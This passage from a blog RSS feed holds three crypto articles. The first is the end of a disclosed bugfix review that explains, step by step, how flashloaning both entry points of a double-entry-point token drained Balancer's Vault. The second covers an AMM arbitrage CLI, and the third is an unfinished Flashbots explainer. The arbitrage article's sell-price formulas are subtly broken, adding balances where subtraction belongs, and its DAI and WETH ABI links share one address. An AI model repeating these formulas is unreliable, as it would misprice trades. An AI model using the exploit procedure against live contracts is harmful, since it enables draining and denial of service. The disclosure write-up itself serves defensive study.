src="https://storage.googleapis.com/papyrus_images/7167ecfcf4b4970c90541ddeb69735f7c6c5ea2d3bd5c3e5b66d9c107b176b97.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>3. The second loop checks whether each token’s balance is equal or larger than their previous balance, then add any balance surplus as a fee in the <code>receivedFeeAmount</code> variable:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/cc0a10b2c02a3fe1738a7b368da06497bca455700f79b98f29be4f933efb1f7f.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>4. This fee is then transferred to <code>ProtocolFeesCollector</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/2606d52ebcb214346948b0d02c64cee1bda8219796e8a0798f5d61e7ca2b55a9.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3bdb08fbf50f2fcb3dec240a785ad19fb26bb8a0697325956ae5ed677a5a5e10.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><blockquote><p>💡 <em>Do you see a problem with how the flashloan function is implemented?</em></p></blockquote><p>We are very close to understanding this vulnerability. There is just one last piece of information we need: double entry point ERC20 tokens.</p><hr><h2 id="h-proxies-and-double-entry-point-erc20-tokens" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Proxies and Double Entry Point ERC20 tokens</h2><p>When ERC20 tokens operate on a proxy pattern, users interact directly with the proxy contract when performing token transactions. The proxy then connects to a target contract that implements the underlying logic. For a more in-depth review of how proxies work, check out our <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://medium.com/immunefi/wormhole-uninitialized-proxy-bugfix-review-90250c41a43a">Wormhole Uninitialized Proxy Bugfix Review</a>.</p><p>A double entry point ERC20 token relies on an architecture on which both users and contracts can interact directly with the target contract. Since the proxy can be bypassed, these tokens have two entry points.</p><p>Examples of double entry point tokens that are traded in Balancer pools are the <strong>Synthetix tokens</strong>, for instance, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://app.balancer.fi/#/pool/0x072f14b85add63488ddad88f855fda4a99d6ac9b000200000000000000000027">SNX</a> and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://app.balancer.fi/#/pool/0xfeadd389a5c427952d8fdb8057d6c8ba1156cc56000000000000000000000066%2011">sBTC</a>. For context, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://synthetix.io/">Synthetix</a> is a derivative liquidity protocol that powers the creation of <strong>synths</strong> (synthetic assets), which can be traded in a decentralized and permissionless manner.</p><hr><h2 id="h-vulnerability-analysis" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Vulnerability Analysis</h2><p>We went over several important concepts, and we are now ready to go in-depth into this vulnerability found in the flashloan method we described above, which is part of <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0xBA12222222228d8Ba445958a75a0704d566BF2C8#code">Balancer’s Vault contract</a>.</p><blockquote><p>💡 <em>What if an attacker tried to execute a Balancer flashloan for both entry points of the same token?</em></p></blockquote><p>In this case, the flashloan repayment (the second loop) would be interpreted as an excess of token balance at the second entry point and sent as fees to The Vault.</p><h3 id="h-here-is-the-step-by-step-procedure-for-this-exploit" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Here is the step-by-step procedure for this exploit:</h3><ol><li><p>In an exploit script, we define the two entry points for a chosen double entry point token, such as sBTC’s, retrieving the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0x18FcC34bdEaaF9E3b69D2500343527c0c995b1d6#code">target contract</a> and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0xfE18be6b3Bd88A2D2A7f928d00292E7a9963CfC6#code">proxy contract</a>:</p></li></ol><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/664212ea714147cade20c684d2f3fc733f72e255cc9a92309438667fd2e9e562.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>2. We then craft an Exploit contract that:</p><p>a. implements the flashloan function from the <code>IVault.sol</code> interface,</p><p>b. Implements the method <code>receiveFlashLoan</code>, from The Vault’s <code>IFlashLoanRecipient.sol</code> interface:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d280a45fec751902e732b3d1b2a76e615b0be4e565cb95a8a1ae0ac3a6ea5e0d.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>3. Back to our script, we deploy this contract, exploiting the flashloan method with the first token as the first entry point and the full balance of the vault, and the second token as the second entry point with zero balance:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/5c797e832b21255c338239fb81ee682d28fb36ad403a3a58981ec1b9e132c324.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>4. If we take another look at the flashloan function, in the first loop, we would see that the previous balance for the first entry point (target) is tracked as the full balance (and transferred out). The balance of the second entry point (proxy) is tracked as 0:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/b45efc2b268c07296f41705f49f059a0396ad7883a5372fd1fbee866358a46c6.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>5. In the second loop, the check of the previous balance for the first entry point (target) would still be the full balance. The vulnerability lies during the check of the second entry point (proxy). Its previous balance being zero and its post balance being the full balance result in the <code>receivedFeeAmount</code> receiving a difference equal to the full balance:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/969a42e089a624398b1c147378037b991e62e267afcb783369710ae61f473cf0.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>6. The Vault’s <code>_payFeeAmount</code> method would then send the full amount of the sBTC to the <code>ProtocolFeesCollector</code> contract, draining the Vault entirely. The resulting state of the pool would cause failures for legit transactions such as swaps and pool exits, resulting in a <strong>DoS situation</strong>.</p><hr><h2 id="h-vulnerability-fix" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Vulnerability Fix</h2><p>Since the Balancer governance controls access to the <code>ProtocolFeeCollector</code> contract, an attacker would not be able to retrieve funds after sending them to this contract. However, as we learned above, exploiting such vulnerability could lead to a DoS to the pool’s resources.</p><p>Upon notification, the Balancer Labs team quickly deployed <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://forum.balancer.fi/t/medium-severity-bug-found/3161">mitigations</a> in the affected contracts, moving the tokens to the <code>ProtocolFeeCollector</code> contract and then back to a restored Vault, resuming normal operations.</p><hr><h2 id="h-motherofbotseth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>◻️ motherofbots.eth</strong></h2>]]></content:encoded>
            <author>go-outside@newsletter.paragraph.com (bt3gl's symposium)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/f5bcb73310c3b9192ef8c8adeaae9a4c975c0d186f76fc7763188a7904898783.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[on bdex, my x*y=k amm arbitrage toolkit]]></title>
            <link>https://paragraph.com/@go-outside/on-bdex-my-x-y-k-amm-arbitrage-toolkit</link>
            <guid>n1MMzBLqi2lP5EpwiPF6</guid>
            <pubDate>Mon, 11 Jul 2022 03:20:38 GMT</pubDate>
            <description><![CDATA[tl; drtoday i go over bdex, a tool i built that scrutinizes arbitrage cases on x*y=k AMMs on ethereum.🎶 today’s moodhttps://open.spotify.com/track/6BuGA3ontF6D4jluQ0DHZY?si=7e7a411cbdd241dcThe following are the resources we are fetching (but feel free to add your favorite token and pool):Token pairs:WETH/DAIExchanges:Uniswap (0xa478c2975ab1ea89e8196811f51a7b7ade33eb11)Sushiswap (0xc3d03e4f041fd4cd388c549ee2a29a9e5075882f)Shebaswap (0x8faf958e36c6970497386118030e6297fff8d275)Sakeswap (0x2ad95...]]></description>
            <content:encoded><![CDATA[<h2 id="h-tl-dr" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">tl; dr</h2><p>today i go over <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/bt3gl-labs/bdex-AMM-Arbitrage">bdex</a>, a tool i built that scrutinizes arbitrage cases on <code>x*y=k</code> AMMs on ethereum.</p><hr><h2 id="h-todays-mood" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🎶 today’s mood</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/6BuGA3ontF6D4jluQ0DHZY?si=7e7a411cbdd241dc">https://open.spotify.com/track/6BuGA3ontF6D4jluQ0DHZY?si=7e7a411cbdd241dc</a></p><hr><p>The following are the resources we are fetching (but feel free to add your favorite token and pool):</p><h3 id="h-token-pairs" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Token pairs:</h3><ul><li><p>WETH/DAI</p></li></ul><h3 id="h-exchanges" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Exchanges:</h3><ul><li><p>Uniswap (0xa478c2975ab1ea89e8196811f51a7b7ade33eb11)</p></li><li><p>Sushiswap (0xc3d03e4f041fd4cd388c549ee2a29a9e5075882f)</p></li><li><p>Shebaswap (0x8faf958e36c6970497386118030e6297fff8d275)</p></li><li><p>Sakeswap (0x2ad95483ac838e2884563ad278e933fba96bc242)</p></li><li><p>Croswap (0x60a26d69263ef43e9a68964ba141263f19d71d51)</p></li></ul><p>Let’s start by taking a look at what this tool does, and then I will share the source code with you.</p><hr><h2 id="h-setting-your-environment" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Setting your environment</h2><p>Add your Alchemy API key and endpoint to a file named <code>.env</code>:</p><p><code>cp .env_example .env vim .env</code></p><p>Create a virtual environment:</p><p><code>virtualenv venv source venv/bin/activate</code></p><p>Install dependencies:</p><p><code>make install_deps</code></p><p>Install the CLI:</p><p><code>make install</code></p><hr><h2 id="h-running-the-cli" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Running the CLI</h2><p>You can run the CLI with:</p><p><code>bdex</code></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/420bd5d3ce9945837a17b44a4b19193c9ccded78f284d341ca4ee4148f3c02ec.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-checking-the-latest-block" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Checking the latest block</h2><p>We leverage Alchemy API endpoint <code>eth_blockNumber_hex</code> to get the latest block:</p><p><code>bdex -c</code></p><blockquote><p>💡 <em>The block number can be checked against </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethstats.net/"><em>ETHstat</em></a><em>.</em></p></blockquote><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/814c7869d6b0584e6f373ad7c30c3ec0aaf5a1600c1dd811adad6f0808a735b6.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>💡 We are crafting the checksum address string by hand without directly Keccak-256 hashing the methods and parameters.</p><hr><h2 id="h-getting-the-token-balance-for-an-exchange" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Getting the token balance for an exchange</h2><p>We leverage <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.alchemy.com/alchemy/">Alchemy API endpoint</a> <code>eth_call</code> to retrieve the current token balance for a specific exchange:</p><p><code>bdex -b TOKEN EXCHANGE</code></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/bb8996cbf13ca1acd8e4499a682dac2a8db7de9cffbfc28054523453575e9ce8.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-getting-all-token-balances-for-all-the-exchanges" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Getting all token balances for all the exchanges</h2><p>We loop over the previous method for a list of tokens and exchanges:</p><p><code>bdex -a</code></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c51579e34177cddea7365364d39186814a55907fa37fca1e153ffc154b714252.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-getting-all-token-balances-for-all-exchanges-but-now-with-web3py" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Getting all token balances for all exchanges, but now with web3.py</h2><p>To be able to compare our results from the previous steps, we implemented an alternative way to fetch pair balances utilizing the Python web3 library:</p><p><code>bdex -w</code></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/837b5f870d48bf10c680f41e3f877eac451e9b7bf0d00fbe9aabadf924923a60.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><blockquote><p>💡 <em>For this library, it&apos;s necessary to supply the contracts&apos; ABI (in our case, for </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://api.etherscan.io/api?module=contract&amp;action=getabi&amp;address=0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"><em>DAI</em></a><em> and </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://api.etherscan.io/api?module=contract&amp;action=getabi&amp;address=0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"><em>WETH</em></a><em>, located at ./docs)</em></p></blockquote><blockquote><p>💡* A third option to verify token balances is through <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/tokenholdings?a=0xa478c2975ab1ea89e8196811f51a7b7ade33eb11">Etherscan tokenholdings dashboard</a>.*</p></blockquote><hr><h2 id="h-getting-trading-prices-for-all-the-exchanges" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Getting trading prices for all the exchanges</h2><p>To get the current price for WETH/DAI in all exchanges (e.g., as shown in the projects&apos; dashboards), run:</p><p><code>bdex -p QUANTITY TOKEN1 TOKEN2</code></p><h3 id="h-quote-for-trading-1-weth" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Quote for trading 1 WETH:</h3><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/79ef0df61a8b5649f983db709aab6b230dce457825efb3b06e7a140e21307903.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-quote-for-trading-10-weth" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Quote for trading 10 WETH:</h3><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/77b9033e49b9792e3286047bb639f6c738b3fcad34b17189b613eb06673c7303.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-quote-for-trading-100-weth" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Quote for trading 100 WETH:</h3><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/88f9115118b8971958b8239b93ed96ee2ea815fc1914dd9ff52a2f0fc1de42ba.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-how-the-price-is-calculated" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">How the price is calculated</h2><p>An AMM replaces the buy and sell orders in an order book market with a liquidity pool of two assets, both valued relative to each other.</p><p>As one asset is traded for the other, the relative prices of the two assets shift, and the new market rate for both is determined.</p><p>The constant product is:</p><p><code>token_a_pool_size * token_b_pool_size = constant_product</code></p><p>All the exchanges are forks from Uniswap V2, so they all use the same price formula for trading:</p><p><code>market_price_token1 = token2_balance / token1_balance</code></p><p>For example, in a pool with 2,000,000 DAI and 1,000 WETH, the constant product is 2,000,000,000 and the market price for WETH is $2,000.</p><h3 id="h-buy-price-eg-buying-weth-in-a-wethdai-pool" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Buy price (e.g., buying WETH in a WETH/DAI pool)</h3><p>To find the buy price for a certain quantity, first, we calculate how much WETH needs to remain in balance to keep the constant product unchanged:</p><p><code>token1_balance_buy = constant_product / (token2_balance + quantity)</code></p><p>Then we calculate how much WETH goes out to keep this constant:</p><p><code>t1_amount_out_buy = token1_balance - token1_balance_buy</code></p><p>The buy price to reflect this ratio is:</p><p><code>buy_price = quantity / t1_amount_out_buy</code></p><h3 id="h-sell-price-eg-selling-weth-in-a-wethdai-pool" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Sell price (e.g., selling WETH in a WETH/DAI pool)</h3><p>To find how much we can sell a certain quantity of WETH for DAI, first, we calculate the ratio of DAI in the new pool, as we add WETH:</p><p><code>token2_balance_buy = constant_product / (token1_balance + quantity)</code></p><p>We then calculate how much DAI will go out:</p><p><code>t2_amount_out_buy = token2_balance + token2_balance_buy</code></p><p>We calculate the DAI balance reflected with the income WETH:</p><p><code>token1_balance_sell = constant_product / (token2_balance - quantity)</code></p><p>And what&apos;s the proportion of WETH in the new balance:</p><p><code>t1_amount_in_sell = token1_balance + token1_balance_sell</code></p><p>We can now calculate the sell price to reflect the balance change, keeping the constant:</p><p><code>sell_price = t2_amount_out_buy / t1_amount_in_sell</code></p><hr><h2 id="h-getting-arbitrage" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Getting arbitrage</h2><p>Run an algorithm to search for arbitrage in the supported exchanges for a certain buy quantity:</p><p><code>bdex -x QUANTITY</code></p><h3 id="h-arbitrage-opportunities-for-10-weth" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Arbitrage opportunities for 10 WETH:</h3><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/64e8043c553f658b9b655f97ed244323d25fcb722a49c68915b98b26b0bb8c66.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-arbitrage-opportunities-for-1-weth" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Arbitrage opportunities for 1 WETH:</h3><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1d3d9b5aed9dab23d2cb88399f79e967e30ca134fd8eccbe18a1e5926d73f0b3.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-arbitrage-opportunities-for-001-weth" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Arbitrage opportunities for 0.01 WETH:</h3><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/9f0a0e2eac68cb5597e9af474c53ee814e64c4650632cff89be902258601c39c.webp" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-running-arbitrage-algorithm-in-a-loop" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Running arbitrage algorithm in a loop</h2><p>To run the arbitrage algorithm for a certain amount of minutes:</p><p><code>bdex -r MIN</code></p><p>Results are saved into <code>results/&lt;arbitrage_TIMESTAMP&gt;.txt.</code></p><p>Here is a sample of the results running this algorithm for 100 minutes for trading 1 WETH:</p><p><code>{&apos;buy_exchange&apos;: &apos;SUSHISWAP&apos;, &apos;sell_exchange&apos;: &apos;UNISWAP&apos;, &apos;arbitrage&apos;: &apos;7.01&apos;, &apos;buy_price&apos;: 3475.14, &apos;sell_price&apos;: 3482.15} {&apos;buy_exchange&apos;: &apos;SUSHISWAP&apos;, &apos;sell_exchange&apos;: &apos;SHEBASWAP&apos;, &apos;arbitrage&apos;: &apos;4.27&apos;, &apos;buy_price&apos;: 3475.14, &apos;sell_price&apos;: 3479.41} {&apos;buy_exchange&apos;: &apos;SHEBASWAP&apos;, &apos;sell_exchange&apos;: &apos;UNISWAP&apos;, &apos;arbitrage&apos;: &apos;2.06&apos;, &apos;buy_price&apos;: 3480.09, &apos;sell_price&apos;: 3482.15} {&apos;buy_exchange&apos;: &apos;CROSWAP&apos;, &apos;sell_exchange&apos;: &apos;UNISWAP&apos;, &apos;arbitrage&apos;: &apos;13.06&apos;, &apos;buy_price&apos;: 3469.09, &apos;sell_price&apos;: 3482.15} {&apos;buy_exchange&apos;: &apos;CROSWAP&apos;, &apos;sell_exchange&apos;: &apos;SUSHISWAP&apos;, &apos;arbitrage&apos;: &apos;5.79&apos;, &apos;buy_price&apos;: 3469.09, &apos;sell_price&apos;: 3474.88} {&apos;buy_exchange&apos;: &apos;CROSWAP&apos;, &apos;sell_exchange&apos;: &apos;SHEBASWAP&apos;, &apos;arbitrage&apos;: &apos;10.32&apos;, &apos;buy_price&apos;: 3469.09, &apos;sell_price&apos;: 3479.41} ...</code></p><hr><h2 id="h-the-source-code-for-the-main-loop" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The Source Code for the main loop</h2><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/5151fdc426a3587a5fd13060ca8a0634bb48e589409fb09dc95f52976ce668dd.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-the-arbitrage-api-class" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The arbitrage API class</h2><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3be8048155252dfb0e2ea00783bb6391cba2a3094d69d979a8023cde760c209c.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-the-util-class" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The util class</h2><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/2c478e69ec33ffe8b8bfebd46b16f87083afc850e39eca54b67002486d96535d.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-motherofbotseth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>◻️ motherofbots.eth</strong></h2>]]></content:encoded>
            <author>go-outside@newsletter.paragraph.com (bt3gl's symposium)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/b43cedb26bf04ea30fb1a2e887ddfc23e55cc97342b5e6a72c109232c7d4d003.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[on flashbots auctions in 5 minutes]]></title>
            <link>https://paragraph.com/@go-outside/on-flashbots-auctions-in-5-minutes</link>
            <guid>b0g89FktVeciWt8sSFcs</guid>
            <pubDate>Thu, 07 Jul 2022 16:45:30 GMT</pubDate>
            <description><![CDATA[tl; drtoday i go over a PoC to send MEV bundles through flashbots.🎶 today’s moodhttps://open.spotify.com/track/6KwSdmAba8BxoxVXPw70LO?si=2aa567b38bc24b8bflashbots auctionA private communication channel (RPC endpoint) between miners and searchers for transparent and efficient MEV extraction through:mev-geth: a patch on top of go-ethereum clientmev-relay: a transaction bundle relayerWhy is this important? Okay, so in the regular Ethereum transaction pool:users broadcast transactions to the pub...]]></description>
            <content:encoded><![CDATA[<h2 id="h-tl-dr" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">tl; dr</h2><p>today i go over a PoC to send MEV bundles through flashbots.</p><hr><h2 id="h-todays-mood" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🎶 today’s mood</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/6KwSdmAba8BxoxVXPw70LO?si=2aa567b38bc24b8b">https://open.spotify.com/track/6KwSdmAba8BxoxVXPw70LO?si=2aa567b38bc24b8b</a></p><hr><h1 id="h-flashbots-auction" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">flashbots auction</h1><p>A private communication channel (RPC endpoint) between miners and searchers for transparent and efficient MEV extraction through:</p><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/flashbots/mev-geth">mev-geth</a>: a patch on top of go-ethereum client</p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/flashbots/mev-relay-js">mev-relay</a>: a transaction bundle relayer</p></li></ul><p>Why is this important? Okay, so in the regular Ethereum transaction pool:</p><ol><li><p>users broadcast transactions to the public peer-to-peer network and specify a gas price (how much they are willing to pay for each unit of computation on the Ethereum chain).</p></li><li><p>miners receive these transactions, order them by gas price, and use a greedy algorithm to produce a block that maximizes the value received through transaction fees.</p></li></ol><p>With <strong>Flashbots Auction</strong>, however, users have access to a first-price sealed-bid auction which allows them to privately communicate their bid and granular transaction order preference without paying for failed bids.</p><p>This is how the game works:</p><ol><li><p>Flashbots connects searchers to miners and allows them to avoid the public tx pool.</p></li><li><p>Searchers craft &quot;bundles&quot; with transactions they would like to send miners, and send them to Flashbots&apos; MEV-Relay.</p></li><li><p><strong>mev-relay</strong> is a gateway that Flashbots runs which simulates searchers&apos; bundles, and if there are no errors, then forwards them on 